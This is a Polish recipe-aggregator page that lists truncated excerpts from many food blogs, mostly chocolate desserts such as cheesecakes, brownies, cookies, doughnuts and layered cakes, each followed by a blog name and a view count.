warstwę jabłkową: 6 dużych jabłek 2 zielone galaretki (np. agrestowe) łyżka cukru szklanka wody 2 łyżki soku z cytryny  na mus czekoladowy: 350 ml śmietanki 30% 130 g czekolady deserowej (lub pół na pół z mleczną)  na piankę: 300 ml śmietanki 30% galaretka truskawkowa  dodatkowo: ok. 24 kakaowe herbatniki 12 podłużnych biszkoptów lady fingers  3 łyżki(...)której piekło się ciasto wyścielić wysoko papierem do pieczenia. Na dnie rozłożyć warstwę herbatników. Wyłożyć masę jabłkową i przykryć ciastem z białek. Odstawić do czasu aż jabłka wystygną.  Czekoladę połamać, wrzucić do miski i ustawić nad garnkiem z wrzątkiem. Mieszając rozpuścić. Kremówkę ubić na sztywno i zmiksować z roztopioną czekoladą. Wyłożyć na ciasto.  Na musie czekoladowym ułożyć biszkopty

Domowa Cukierenka-Domowa Kuchnia
Sernik mleczno czekoladowy 184

torebka cukru ze skórką pomarańczową Dr.Oetker 1/2 szklanki mleka 3,2% 2 łyżki miękkiego masła 1 budyń śmietankowy Czekoladowy mus: 400 ml śmietany kremówki 30% 1 ½ tabliczki gorzkiej czekolady 1 łyżka cukru pudru Ciemne kakao do oprószenia Przygotowanie: Ciasto kruche: Wszystkie składniki suche mieszamy w misce do jednolitego połączenia, dodajemy miękkie masło zagniatamy mieszadłem do ciasta kruchego lub palcami(...)końcem pieczenia-sernik ma pozostać biały . Studzić przy uchylonych drzwiczkach piekarnika. Mus czekoladowy-najlepiej jest zrobić dzień przed przygotowaniem sernika: Śmietankę podgrzewamy, aż będzie dobrze ciepła, dodajemy połamaną gorzką czekoladę, po 3 minutach gdy czekolada zacznie się rozpuszczać, mieszamy do jednolitej konsystencji. Wkładamy na noc do lodówki. Następnego dnia do masy czekoladowej dodajemy łyżkę cukru pudru miksujemy aż powstanie gęsty

Wanilia i Kardamon
Ciasteczka z bananem, czekoladą i nutką imbiru 93

Witajcie :) Jak mnie już znacie :) uwielbiam słodkości i zawsze muszę mieć coś upieczone do kawy. Dzisiaj propozycja mięciutkich ciasteczek z nutką imbiru, bananem i czekoladą. Polecam wypróbować bo są szybkie w przygotowaniu i pyszne. Gdy się piekły ich aromat unosił się po całym domu :) Zapraszam :) Składniki : 1 dojrzały banan 100 g posiekanej czekolady  150 g masła miękkiego(...)pieczenia Wykonanie : Banana rozgniatamy widelcem, następnie dodajemy cukier, cukier waniliowy,masło i jajko, ucieramy na gładką masę. Mąkę przesiewamy z proszkiem do pieczenia,sodą i imbirem,dodajemy posiekaną czekoladę, mieszamy ciasto łyżką, będzie miało lekko rzadką konsystencję, ale tym się nie zrażajcie, dzięki temu ciastka będą mięciutkie. Blaszkę wykładamy papierem do pieczenia, dłonie zwilżamy wodą i łyżeczką nabieramy porcję ciasta

Sama słodycz i szczypta chili
Pieczone pączki dyniowe z polewą czekoladową 154

świeżych drożdży lub opakowanie suszonych 55g masła (lub oleju kokosowego w wersji wegańskiej i bez laktozy) 3 łyżki brązowego cukru lub więcej 1 łyżeczka aromatu waniliowego Polewa: 60g gorzkiej czekolady 1 łyżeczka oleju kokosowego lub innego dowolnego np. rzepakowego Przygotowanie: Mleko zletnij, wymieszaj z drożdżami. Masło rozpuść i poczekaj aż ostygnie, ale nadal będzie płynne. Mąkę wsyp do miski, dodaj(...)rękoma pączki, które luźno układaj na blaszce do pieczenia. Odstaw na około 20 minut do wyrośnięcia.  Piec w piekarniku rozgrzanym do 180 stopni około 15 minut. Wystudzić.  Czekoladę z olejem kokosowym roztopić w kąpieli wodnej. Zanurzać pączki, odkładać na kratkę, by czekolada zastygła. Porady: Pączki możesz także nadziać ulubionym dżemem. Wtedy kawałek ciasta wystarczy spłaszczyć w rękach

Fabryka pomysłów
Rafaello 203

Składniki: Biszkopt 1/2 puszki ananasa (krążki) 1 opakowanie serka mascarpone 500 ml śmietany 30% lub 36% 1 tabliczka białej czekolady 1 słoik dżemu z czarnej porzeczki sok z 1/2 cytryny 3/4 szklanki wiórków kokosowych +  wiórki do posypania Sposób przygotowania: 1. Biszkopt upiecz z 1,5 porcji podanych w przepisie składników - KLIK . Pozostaw do całkowitego wystygnięcia i podziel(...)równe części. 2. Do nasączenia biszkoptu połącz syrop z ananasa i sok z połowy cytryny. 3. Czekoladę podziel na mniejsze kawałki i rozpuść w kąpieli wodnej. 4. W dużej misce ubij śmietanę, w drugiej mascarpone. 5. Do ubitej śmietany dodaj mascarpone, rozpuszczoną czekoladę i wiórki kokosowe. 6. Nasącz pierwszą część biszkoptu, posmaruj dżemem, wyłóż 1/3 kremu i rozłóż połowę pokrojonego

A Ty Smakuj Mnie
Kuleczki a la Bounty 115

Słodkie kuleczki z wyczuwalną alkoholową nutą, o aksamitnym smaku kokosa oblane delikatną mleczną czekoladą. Składniki: 400g wiórek kokosowych 200ml śmietany 30% 120g cukru pudru 140g masła extra 4 łyżki spirytusu 200g mlecznej czekolady 4 łyżki mleka Wykonanie: 1.  Masło, cukier i śmietanę rozpuścić w rondelku na małym ogniu. Wiórki przełożyć do miski, wlać spirytus oraz masło rozpuszczone z cukrem(...)lodówki na około 30 minut. Po tym czasie uformować kuleczki wielkość orzecha włoskiego i ponownie wstawić do lodówki na około 60 minut. 2.  W rondelku na parze rozpuścić czekoladę z dodatkiem mleka do jednolitej konsystencji. 3.  W czekoladowej polewie zanurzać każdą z kokosowych kuleczek  i wstawić do lodówki do momentu aż polewa zastygnie

Szalona Kuchnia Eweliny
Churros pomarańczowe z pikantnym sosem 122

Pyszne mięciutkie churros z nutą pomarańczy i sosem czekoladowym z chili. Do czekolady chili idealnie się nadaje i sprawia że wyostrza się jej smak jeszcze bardziej. Zanurzamy w sosie churros i zajadamy ze smakiem. Znikną z talerza bardzo szybko. ciasto: 1 szklanka i 1 łyżka mąki pszennej typ 500 3 jajka wielkość M szczypta soli 1 łyżeczka skórki kandyzowanej tartej(...)łyżka cukru trzcinowego 50 g masła 240 ml wody polewa: 50 g czekolady gorzkiej 1 łyżka śmietany 36 % 1/2 szklanki mleka 1/2 łyżeczki skorki kandyzowanej tartej chili papryczka ostra szczypta 1 litr oleju do smażenia cukier puder Wodę wlewam do garnka , dodaję sól, skórkę pomarańczową, cukier, masło, i gotuje na wolnym ogniu aż cukier rozpuści się. Do gorącego płynu wsypuję

wesoła kuchnia
Kruchy torcik walentynkowy 199

przy pomocy szablonu- serduszko. Powinny wyjść dwa identyczne. Przełożyć na papier do pieczenia i piec w temperaturze 180 stopni około 15 minut do zrumienienia. Wystudzić. Czekoladowa glazura 50 g czekolady mlecznej  1/4 szklaki śmietany kremówki Podgrzać śmietanę i do gorącej włożyć pokruszoną czekoladę. Odstawić na 10 minut następnie wymieszać na gładki sos Krem 400 g śmietany kremówki(...)stabilny krem.  Część kremu możecie zafarbować barwnikami spożywczymi na lubiony kolor. Dodatkowo słodycze i owoce do dekoracji Wykonanie Wystudzone ciastko (2 sztuki góra i dół) posmarować rozpuszczoną czekoladą.  Spód płożyć na ozdobnej podstawce i wycisnąć krem przez ozdobną tylką cukierniczą. Możecie zrobić ozdobne rozetki lub stożki. Na tak ozdobiony spód połóżcie drugą cześć ciastka. Teraz ozdóbcie kremem według

Piekarz-Kucharz-Garkotłuk
Pieczone pączki z batata 175

batatów (1 dużego batata piecz do miękkości ok 30 minut w 180 stopniach, następnie obierz ze skórki i zmiksuj blenderem) 110 g oleju kokosowego Polewa 1 tabliczka gorzkiej czekolady, minimum 70% kakao, najlepiej z niewielką ilością cukru (lub bez) 10 g oleju kokosowego Przygotowanie Przygotuj zaczyn - drożdże rozpuść w ciepłym (nie gorącym) mleku (60 g), dodaj cukier (1 łyżka(...)zostaw wolne przestrzenie. Odstaw pączki na 30 minut przykryte ściereczką. Po tym czasie piecz ok. 15 minut w 180 stopniach. Wyjmij z piekarnika i odstaw do wystudzenia. Przygotuj polewę - czekoladę z olejem rozpuść w kąpieli wodnej lub na małym ogniu. Mocz pączki w czekoladzie. Udekoruj wg uznania, np. migdałami albo suszonymi owocami. Wskazówki Ciasto na początku wyrabiania będzie twarde

Powiedz dietom nie
CIASTECZKOWE SERNIKOBROWNIE Z OREO 174

znajduje się ciasteczkowa masa serowa z serka mascarpone i kwaśnej śmietany z dodatkiem ciastek typu "pieguski" oraz dropsów czekoladowych, a wierzch to czekoladowa masa śmietanowa, udekorowana ciastkami z kawałkami czekolady oraz Oreo. Brzmi nieźle, prawda? Składniki: Brownie: 150 g masła 3/4 szklanki cukru 1 łyżeczka cukru z wanilią 2 jajka 3/4 szklanki mąki pszennej 6 łyżek kakao 1/4 łyżeczki proszku(...)Masa serowa: 500 g serka mascarpone 250 g śmietany 18% 3/4 szklanki cukru brązowego 3 łyżki mąki pszennej 1 łyżeczka cukru z wanilią 3 jajka 150 g ciasteczek z czekoladą typu "pieguski" 100 g dropsów czekoladowych Wierzch: 300 ml śmietany 26% 2 łyżki cukru pudru 2 łyżki kakao 7-8 szt. ciasteczek z czekoladą typu "pieguski" 7-8 szt. ciasteczek

Kuchnia MagdaLeny
Bananowy omlet 150

łyżeczki cukru wanilinowego 1 łyżeczka proszku do pieczenia szczypta soli masło do smażenia 2 opakowania serka homogenizowanego waniliowego (2 x 150g) 3 banany 2 łyżeczki cukru 12 kostek gorzkiej czekolady (80% kakao) 2 łyżki mleka 6 łyżek mieszanki bakalii Wykonanie: 1. Białka oddzielić od żółtek, ubić je na sztywno z dodatkiem szczypty soli. Następnie dodać żółtka, nadal miksując dodać(...)łyżeczek cukru przez około 1 minutę na każdej ze stron. 4. Gotowe omlety posmarować serkiem waniliowym, ułożyć po 3 kawałki banana i złożyć na pół. 5.  Czekoladę rozpuścić w dwóch łyżkach mleka. Płynną czekoladą polać wierzch każdego omleta oraz posypać bakaliami

Szalona Kuchnia Eweliny
Ciasto Stefania z musem gruszkowym 225

Tradycyjne ciasto z przepisu mojej mamy na bazie kaszy manny, które idealnie komponuje się z orzeźwiającym, delikatnie słodkim musem z gruszek i polewą z mlecznej czekolady. Składniki: 500ml mleka 1/2  szklanki kaszy manny 1/2 szklanki cukru 2 płaskie łyżeczki cukru wanilinowego 1 łyżka kakao 130g masła około 18 sztuk herbatników pełnoziarnistych Mus gruszkowy: 1kg gruszek (waga po obraniu(...)galaretka gruszkowa 3 łyżeczki żelatyny Polewa i dekoracja: 50g mlecznej czekolady 1 łyżka śmietanki 30%   zielona posypka Wykonanie: 1.  Formę   o wymiarach 30 cm x 9 cm wyłożyć warstwą herbatników. 2.  Połowę mleka, masło, cukier i cukier wanilinowy zagotować. W pozostałej ilości zimnego mleka rozrobić kakao tak aby nie było grudek. Następnie do gotującego się mleka

Szalona Kuchnia Eweliny
Ciasto orzechowe z wkładką bakaliową 148

Bardzo pyszne ciasto orzechowe z wkładką bakaliową, w której znajdziemy : kokos, rodzynku, czekoladę i wiśnie. Przełożone kremem daje pyszny efekt końcowy. Składniki: Ciasto orzechowe : 8 jajek 8 łyżek cukru 20 dkg orzechów włoskich mielonych 4 łyżki mąki pszennej 2 płaskie łyżeczki proszku do pieczenia Wkładka bakaliowa: 9 białek 20 dkg cukru 20 dkg kokosu 1 gorzka czekolada 10 dkg rodzynek(...)wymiarach 23x38 cm wyłożonych papierem do pieczenia i pieczemy około 30 minut w temp. 180 stopni do suchego patyczka. 3. Wkładka bakaliowa: białka ubijamy, dodajemy stopniowo cukier, następnie dajemy czekoladę pokrojoną w kostkę, kokos, rodzynki, wiśnie i sok z cytryny, lekko mieszamy. 4. Wykładamy na brytwankę wyłożoną papierem do pieczenia o wymiarach 23x38 cm. 5. Pieczemy około 45 minut

Kuchnia u Bietki
Blok czekoladowy z żurawiną 123

Smakołyk z czasów dzieciństwa. Szybki w przygotowaniu blok czekoladowy z herbatnikami, żurawiną i białą czekoladą. Znika błyskawicznie! 125 g margaryny 1 szklanka cukru trzcinowego 2 łyżki kakao 250 g mleka w proszku w niebieskim opakowaniu 0,5 szklanki wody 200 g maślanych herbatników ¼ szklanki suszonej żurawiny 50 g białej czekolady Do garnka wlewamy wodę, dodajemy margarynę, cukier trzcinowy i kakao(...)jednolita - bez grudek). Następnie wsypujemy pokruszone herbatniki oraz suszoną żurawinę. Wszystko dokładnie mieszamy (masa jest dość zwarta). Foremkę wykładamy folią spożywczą. Na dno foremki ścieramy na średnich oczkach białą czekoladę, wykładamy masę czekoladową . Lekko dociskamy i wyrównujemy. Wstawiamy na 2 godziny do lodówki

VioletoweKucharzenie
Najlepsza wuzetka, ciasto W-Z 1357

sklepowych nie lubię. Po pierwsze są za słodkie, po drugie za wilgotne i ta sztuczna bita śmietana.  Domowa jest o niebo lepsza. Aaaa i ta polewa z gorzkiej czekolady - palce lizać. Polecam! Składniki (na standardową blachę do pieczenia): * ciasto: - 7 jajek - 2/3 szklanki gorzkiego kakao - 2/3 szklanki mąki pszennej - 2/3 szklanki cukru * masa: - 1l śmietany kremówki (schłodzonej) - 3/4-1 szklanka(...)cukru pudru - 1 łyżka żelatyny* * polewa: - 200g gorzkiej czekolady - 1-2 łyżki cukru - 2 łyżki masła - 200ml mleka  * dodatkowo: - 1 słoiczek powideł śliwkowych - sok z 1 limonki - 5 łyżek malibu Ciasto: Białka oddzielić od żółtek. Białka zmiksować do spienienia się. Dodawać po 1 łyżce cukru i ubić na sztywno. Pod koniec ubijania dodawać po jednym żółtku. Kolejne dodawać

CookYourself
Biała Nutella, czyli smarowidło do chleba na bardzo słodkie śniadanie... 866

zepsuć się nie będzie miało kiedy...  I miałam rację, bo zniknęło tajemniczo w dwa poranki, rozmyziane na śniadaniowych tostach... Składniki: (na 1 słoiczek, jakieś 300ml) 150 g białej czekolady 80 g masła miękkiego 1/4 szklanki mleka skondensowanego Białą czekoladę podziel na kostki, włóż do miseczki i rozpuść w kąpieli wodnej. Gdy czekolada będzie rozpuszczona, zdejmij miseczkę z palnika, dodaj

Lejdi of the house
Czekoladowe ciasto z cukinią... 101

Przepis z bloga  Marzeny . Składniki: (tortownica 23cm, czyli około 10 porcji) 200 g cukinii 3 jajka 150g miękkiego masła 150g cukru 100g gorzkiej czekolady 200g mąki pszennej 50g zmielonych migdałów łyżeczka proszku do pieczenia szczypta soli Rozgrzej piekarnik do 180stC. Przygotuj tortownicę - wyłóż kawałkiem pergaminu do pieczenia. Cukinię musimy zetrzyj na tarce na dużych oczkach, dodaj szczyptę soli(...)odstaw, aby puściła sok. W tym czasie rozpuść czekoladę w kąpieli wodnej i odstaw, aby przestygła. Do miski włóż miękkie masło i zmiksuj z cukrem, aż składniki się dobrze ze sobą połączą. Dodaj jajka - ciagle dalej miksujac. Wlej rozpuszczoną czekoladę, wsyp mąkę, mąkę migdałową, proszek do pieczenia i odciśniętą z soku cukinię. Delikatnie wymieszaj - najpierw łyżką, a potem mikserem

Lejdi of the house
Muffiny podwójnie czekoladowe z suszonymi wiśniami i śliwkami... 114

Rozkosznie luksusowe, bo pełne czekolady i suszonych owoców. Idealne popołudniowa pora, kiedy potrzeba zastrzyku odrobiny energii, potrzebanej do przetrwania dnia...  Przepis z bloga  Mirabelki . Składniki: (na 12 sztuk) szklanka = 250ml 2 szklanki mąki 2/3 szklanki drobnego cukru 1/4 szklanki kakao 100g kropelek z mlecznej czekolady, lub posiekanej czekolady 1 łyżeczka proszku do pieczenia 1,5 łyżeczki sody

Lejdi of the house
Walentynkowo. I ciasto z czekoladą... 109

przekaska dla dzieci do parku - bez okazji. Składniki:   (keksówka 20/8cm) 200 g mąki 100 g wiórków kokosowych 150 g cukru 150 g marchewki startej na tarce 100 g czekolady (u mnie - groszki 48% kakao, więc lekko gorzkawe) 5 łyżek oleju słonecznikowego 50 ml mleka 3 jajka ziarenka z połowy laski wanilii  1 łyżeczka proszku do pieczenia   Rozgrzej(...)piekarnik do 180stC. Przygotuj foremkę - wyłóż pergaminem do pieczenia. Wymieszaj wszystkie składniki, poza czekoladą. Wyrób ciasto (można mikserem; wlej więcej mleka, jeśli to konieczne). Dodaj posiekaną czekoladę, wymieszaj, przełóż do formy.  Piecz 45-50 minut. Zostaw na 5 minut w foremce, a następnie wyłóż na kratkę i zostaw do całkowitego ostudzenia

Lejdi of the house
Brownie z buraczkami... 157

Przepis z bloga  Raspberries and Cream . Składniki: (blaszka kwadratowa 20cm; gotowe ciasto daje się spokojnie pokroić na 16 porcji) 150g masła lub margaryny do pieczenia 200g ciemnej czekolady (50 %), posiekanej, lub groszków czekoladowych do pieczenia 2 duże jajka, plus 1 duże żółtko 200g jasno-brazowego, miałkiego cukru 2 łyżeczki ekstraktu z wanilii 100g mąki 100g ugotowanych, obranych buraczków, startych(...)tarce o dużych oczkach 50 g śliwek kalifornijskich, grubo pokrojonych Piekarnik rozgrzej do 190stC. Wyłóż papierem do pieczenia kwadratową foremkę o boku 20 cm. Masło i czekoladę rozpuść w misce umieszczonej na rondelku z parującą wodą, tak, by dno miski nie dotykało powierzchni wody. Gładka, stopiona masę zostaw do przestudzenia. W oddzielnej misce ubij mikserem jajka z żółtkiem, cukier

Lejdi of the house
Babeczki mocno czekoladowe, z serkiem kremowym i migdałami... 89

Przepis z bloga  Raspberries and cream . Składniki: (na 10 sztuk) 75 g masła 100 g ciemnej czekolady, połamanej 150 g serka kremowego typu philadelphia 100 g drobnego cukru 1 jajko, roztrzepane 50 g mielonych migdałów 50 g maki, przesianej 1 łyżeczka proszku do pieczenia Piekarnik nagrzej do 180stC. Wyłóż papilotkami foremkę do muffin (10 sztuk). Masło i czekoladę rozpuść(...)rondelku na niewielkim ogniu. Zostaw do przestudzenia. Cukier i serek ubijaj mikserem około 1 minuty, po czym dodaj jajko, mielone migdały, mąkę i proszek do pieczenia. Zmiksuj. Wlej rozpuszczoną czekoladę z masłem i wymieszaj łyżka. Rozdziel pomiędzy papilotki - nakładaj do około 2/3 wysokości. Piecz 20-25 minut. Wyjmij na kratkę i zostaw do ostudzenia

Lejdi of the house
Wigilia 2017... 158

Były, a jakże! Super skrzyneczka z czekoladowymi orzechami dla małżona (do wyboru: orzechy laskowe straciatella - już zeżarte i nie widać; migdały z cynamonem; orzechy laskowe z kawa; migdały w czekoladzie; ziarna kawy w czekoladzie i orzeszki ziemne... w czekoladzie). I super-hiper zestaw herbat dla mnie: Ta 'niebieska' prezentuje się tajemniczo... ;) I oczywiście ksiażki kucharskie. W tym najnowsza Nigelli - pobiłam

Lejdi of the house
Sernik świąteczny z białą czekoladą 131

pół godziny. Następnie ciastem wykleić dno tortownicy i podpiec w piekarniku ok 10 min masa: 1200 dag tłustego mielonego twarogu  1 szkl cukru pudru 200 g białej czekolady 6 jaj 400 ml śmietany kremówki cukier waniliowy szczypta soli Czekoladę rozpuścić w kąpieli wodnej ,dodać śmietanę kremówkę i połączyć razem. Ser utrzeć z cukrem pudrem, cukrem waniliowym i szczyptą soli(...)dodać czekoladę ze śmietaną, wymieszać i dodawać po jednym jajku.  Masę wylać na podpieczony spód, wstawić do piekarnika i piec ok 50 min w 180 st C. Wystudzić. Ozdobić czekoladkami

Z Marcepanem
Przepis #111 Wegańskie ciastka "Oreo" bez pieczenia 265

Składniki (6 ciastek - wykrojone typową szklanką) - 80 g zmielonych płatków owsianych (mąki owsianej) - 30 g masła orzechowego 100% - 70 ml mleka roślinnego - 1 łyżka kakao - 4 kostki gorzkiej czekolady Nadzienie - 100 ml mleczka kokosowego - 50 g wiórek kokosowych - 1 łyżka miodu lub innego słodzika Wykonanie   Czekoladę roztapiamy w kąpieli wodnej. Do miski wsypujemy zmielone płatki/mąkę. Dodajemy mleko(...)masło oraz kakao. Wlewamy także roztopioną czekoladę. Całość dokładnie mieszamy. Następnie rozwałkowujemy (najlepiej zrobić to przez papier do pieczenia gdyż ciasto jest dość kleiste). Z rozwałkowanego ciasta wykrawamy na przykład szklanką kołka (tak by była parzysta liczba). Wkładamy na godzinę do lodówki.   Nadzienie Do rondelka wlewamy mleczko kokosowe oraz miód. Chwilę podgrzewamy. Wsypujemy wiórki kokosowe (jeśli masa będzie zbyt

Health-Fit-Life
Owsiane ciasteczka mocy – energetyczne 202

Owsiane ciasteczka mocy to niesamowita dawka energii w przepysznym wydaniu! I jeśli mam wybierać między nimi, a gorzką czekoladą – wybiorę ciasteczka 🙂 nie żebym nie lubiła czekolady… Ale czekolady zjem kostkę, może 3 😀 a tych ciastek… Artykuł Owsiane ciasteczka mocy – energetyczne pochodzi z serwisu Kolorowy Przepisownik

Kolorowy Przepisownik
Ciasto mleczna kanapka 215

mleka 5 łyżek cukru 250 g masła 200 g serka homogenizowanego (zwykły lub waniliowy) 2,5 szkl mleka w proszku pełnotłuste 2 łyżeczki esencji waniliowej Polewa: 100 g czekolady mlecznej 60 g masła  Przygotowanie: Ciasto czekoladowe:  Mąkę, kakao, proszek, przyprawę i sodę przesiać przez sitko. Białka ubić na sztywno. W trakcie ubijania wsypywać po łyżce cukru. Gdy białka(...)będzie rzadki włożyć na kilka minut do lodówki by lekko stężał. Krem rozsmarować na jednym placku ciasta przykryć drugim plackiem i odłożyć do schłodzenia na około 1 godzinę. Polewa: Czekoladę połamać na mniejsze kawałki i razem z masłem rozpuścić w kąpieli wodnej. Rozprowadzić na górze ciasta. Można posypać startą czekoladą. Ciasto włożyć na kilka godzin do lodówki a najlepiej

Ala piecze i gotuje
drożdżówka bez wyrabiania z całymi jabłkami... 135

sztuki, olej rzepakowy 3/4 szklanki, mleko 1 szklanka, mąka pszenna 50 dag, sól - szczypta, olejek rumowy 1 łyżeczka, jabłka mniejsze 12 sztuk, cynamon - ile potrzeba, cukier - ile potrzeba, czekolada gorzka 100 gram, śmietana gęsta 2 łyżki, skórka pomarańczowa kandyzowana 5 dag do miski wg kolejności: wkruszyć drożdże, wsypać cukier, wbić jajka wlać mleko, olej, wsypać mąkę, sól, wlać olejek rumowy(...)wydrążone jabłka, posypać cynamonem i cukrem w nagrzanym piekarniku na 190C, grzanie góra/dół piec około 50-60 minut, ciasto wystudzić w formie w kąpieli wodnej roztopić czekoladę gorzką ze śmietaną cały czas mieszając ciasto polać czekoladą i posypać skórką pomarańczy, zostawić do zastygnięcia polewy w chłodnym miejscu - bez wyrabiania leniwa rożdżówka z całymi jabłkami jest bardzo smaczna, wilgotna

W Mojej Kuchni Lubię
ŚMIETANOWIEC Z OREO 161

kiedy na świecie pojawił się mój starszy syn. Ten dzień to również 4 lata odkąd zaczęłam przygodę z blogowaniem. Na tę okazję przygotowałam torcik- śmietanowiec z oreo i czekoladą. Moim bliskim bardzo zasmakował, Wam jeśli zechcecie go zrobić na pewno też. Składniki: Biszkopt jasny: 4 jajka 10 łyżek mąki 10 łyżek cukru 1 łyżeczka proszku do pieczenia biszkopt ciemny(...)łyżek mąki 10 łyżek cukru 1 łyżeczka proszku do pieczenia 2 łyżki kakao masa oreo do przełożenia: 500 ml śmietany 30 % pół dużego opakowania ciastek oreo pół tabliczki mlecznej czekolady ew. cukier puder do smaku sok z cytryny- kilka łyżek poncz: 3 szklanki przegotowanej wody cukier do smaku sok z cytryny- wedle uznania masa śmietanowa na wierzch: 250 ml śmietany

Z Majeczką w kuchni
MUFFINKI KAKAOWE 237

Pyszne muffinki kakaowe sprawdzą się świetnie dla wszystkich miłośników słodkości z dodatkiem kakao. Dodatek kawałków czekolady nada im dodatkowo czekoladowego posmaku w formie delikatnie roztopionej czekolady. Te muffinki kakaowe nie są bardzo słodkie, ale będą świetnym dodatkiem do kawy 🙂 Składniki/12 muffinek: – 250g mąki – 1/2 szklanki ksylitolu/cukru – łyżeczka proszku do pieczenia – Czytaj więcej → Artykuł MUFFINKI KAKAOWE

greengoodies
Pieguski 148

Witajcie :) Nie znam osoby która by nie lubiła ciasteczek piegusek, pyszne, chrupiące z kawałkami czekolady i szybko znikające.Przepis  znalazłam w książce Ani Starmach. Zapraszam do wypróbowania :) Składniki : 120 g masła 80 g cukru 1 jajko 250 g mąki + do podsypania 1 łyżeczka proszku do pieczenia 1 cukier waniliowy 100 g pokrojonej w kosteczkę czekolady lub gotowe łezki czekoladowe(...)Wykonanie : Miękkie masło ucieramy z cukrem, cukrem waniliowym i jajkiem, następnie przesiewamy mąkę z proszkiem, dodajemy czekoladę i zagniatamy ciasto. Stolnicę podsypujemy mąką, przekładamy ciasto i rozwałkowujemy na około 5 mm. Można też odrywać kawałki ciasta i formować kulki lekko je rozpłaszczając. Blaszkę wykładamy papierem do pieczenia, układamy ciasteczka w lekkich odstępach. Piekarnik rozgrzewamy do temperatury 180 stopni i pieczemy

Sama słodycz i szczypta chili
Czekoladowa kawa z piankami i cynamonem. Idealna na rozgrzanie. 141

chociaż zimno szczypie w nos, a policzki są rumiane, to wcale nie jest nam śpieszno do domu. Za to zawsze znajdziemy chwilkę na wypicie czegoś ciepłego - kawa zbożowa z czekoladą i z piankami sprawdza się idealnie. Daje zastrzyk energii na kolejny czas zabawy i rozgrzewa nieco :-) no i jest naprawdę, bardzo bardzo pyszna :-) Czekoladowa kawa z piankami i cynamonem. Idealna(...)rozgrzanie. Składniki na 4 porcje: Łyżka kawy zbożowej np. Inka 100 g dobrej jakościowo gorzkiej czekolady 800 ml mleka ziarenka z laski wanilii łyżeczka cynamonu (najlepiej sobie tartego) cukier do posłodzenia według uznania pianki w typie marshmallow. Wykonanie: Do rondelka włożyć połamaną na kawałki czekoladę, cynamon, ziarenka z laski wanilii, kawę zbożową i zalać te składniki mlekiem. Wstawić na palnik

Poezja Smaków - blog kulinarny
Puszysty i delikatny sernik 118

prostu pyszny! Wyrośnie ciut ponad formę, a potem lekko opadnie i pęknie. To normalne przy sernikach z dodatkiem piany z białek. Smak wynagrodzi wszystko! Pęknięcia ukryjesz pod warstwą czekolady. Przepis z książki "Domowe wypieki" J.Niedobeckiej. Tortownica o średnicy 26 cm lub prostokątna forma do pieczenia Składniki na kruche ciasto 200 g mąki pszennej 100 g masła 40 g cukru pudru(...)dwukrotnie zmielonego twarogu półtłustego 250 g śmietany do ubijania 30% lub 36% 8 jaj 1 opakowanie budyniu waniliowego bez cukru 170 g cukru szczypta soli Dodatkowo 200 g czekolady gorzkiej 1 łyżka oleju kokosowego lub innego Przygotuj kruche ciasto. Wsyp mąkę do miski i dodaj pokrojone w kostkę zimne masło,cukier puder i jajo. Zagnieć szybko kulę ciasta, zawiń

Z Kuchni Do Kuchni
Chocolate Crinkles - popękane ciasteczka mocno czekoladowe 121

południe przygotowałam ciasto, było bardzo wilgotne, wieczorem masa stwardniała, i była gotowa do pieczenia, poczekałam z wypiekaniem do rana.    Przepis W kąpieli wodnej roztop połamaną na kosteczki czekoladę i pokrojone na kawałki masło. Białka ubij na sztywną pianę,  dodawaj po łyżeczce cukru pudru i ubijaj dalej, dodaj żółtka i mieszaj dalej, dodaj rozpuszczoną czekoladą. Mąkę z solą(...)dobrze schłodzone. Dzięki temu po upieczeniu cukier puder na powierzchni ciastek nie namoknie, a ciastka ładnie popękają. Piec przez ok. 10 minut w temperaturze 180ºC. Składniki 200 g gorzkiej czekolady 100 g masła 2/3 szklanki cukru pudru 3 duże jajka 1/2 łyżeczki proszku do pieczenia szczypta soli 1 i 2/3 szklanki mąki 1/2 szklanki cukru pudru do obtoczenia

Kurnikowo
Ciasto z masą kokosową i galaretką 186

zrobiła moja mama a nie ja, ale było tak dobre, że muszę się nim tu z Wami podzielić :) Składa się z kilku warstw: biszkopta, masy kokosowej, galaretki, herbatników i czekolady, a całość tworzy świetne połączenie, nie za słodkie tylko takie w sam raz, spróbujcie :) Składniki na blachę wym. 22 x 33 cm: Biszkopt: 4 jajka 0,5 szklanki cukru(...)litra mleka 0,5 kostki miękkiego masła 3 łyżki cukru Ponadto: 2 galaretki (świetnie sprawdzą się takie o smaku czarnej porzeczki lub owoców leśnych) 3 paczki herbatników czekolada deserowa + kilka łyżek mleka rozpuszczone w kąpieli wodnej orzechy włoskie na posypkę   Najpierw należy upiec biszkopt. Całe jajka zmiksować z cukrem, następnie powoli dosypywać przesianą mąkę z proszkiem do pieczenia. Ciasto

Simply Food
Owsianka z bakaliami -metamorfoza zwykłej owsianki 160

zmieniło się moje podejście do owsianki. Teraz gotuję ją najmłodszemu potomkowi. Dzisiaj na śniadanie dostał owsiankę z bakaliami. Znalazły się w niej pistacje, kokosowe chipsy, nasiona konopii i gorzka czekolada. Całość posypałam cynamonem i polałam masłem rozpuszczonym z syropem klonowym. Owsianka z bakaliami smakuje, jest zdrowa i pożywna. Moje dziecko jest najedzone i zadowolone, kiedy idzie do szkoły(...)bakaliami Składniki: 1 porcja 125 ml owsianych płatków błyskawicznych 225 ml zimnej wody 2 łyżki pokrojonych pistacji 1 łyżka nasion konopii 1 łyżka kokosowych wiórków 2 tabliczki gorzkiej czekolady 1 łyżka masła 1 łyżka klonowego syropu sól do smaku szczypta cynamonu Płatki owsiane, sól i wodę zagotuj w małym rondelku stale mieszając. Zmniejsz ogień i gotuj owsiankę przez 3 minuty

codojedzenia
Prosty sernik jagodowy z pistacjami 197

laski wanilii 200 g jogurtu naturalnego 3 małe galaretki truskawkowe bez cukru - 3x14g (lub żelatyna) 1 szklanka gorącej wody do rozpuszczenia galaretek (250 ml) Polewa 1 tabliczka gorzkiej czekolady, minimum 70% kakao 2 łyżki oleju kokosowego Do posypania 2 łyżki obranych migdałów - płatki, słupki lub pokruszone 100 g solonych pistacji w skorupkach Przygotowanie Jagody płuczemy pod bieżącą wodą. Wrzucamy(...)żeby konsystencja była gładka. Przelewamy do okrągłej formy o średnicy 24 cm. Wstawiamy do stężenia do lodówki. Po kilku godzinach rozpuszczamy w kąpieli wodnej lub na małym ogniu połamaną czekoladę z olejem kokosowym. Szybko mieszamy, żeby czekolada się nie przypaliła. Polewamy ciasto i od razu posypujemy obranymi, pokruszonymi pistacjami i migdałami. Przechowujemy w lodówce. Wskazówki Do sernika użyłam sprawdzonego twarogu

Powiedz dietom nie
Lava cake. Czekoladowa lawa. 200

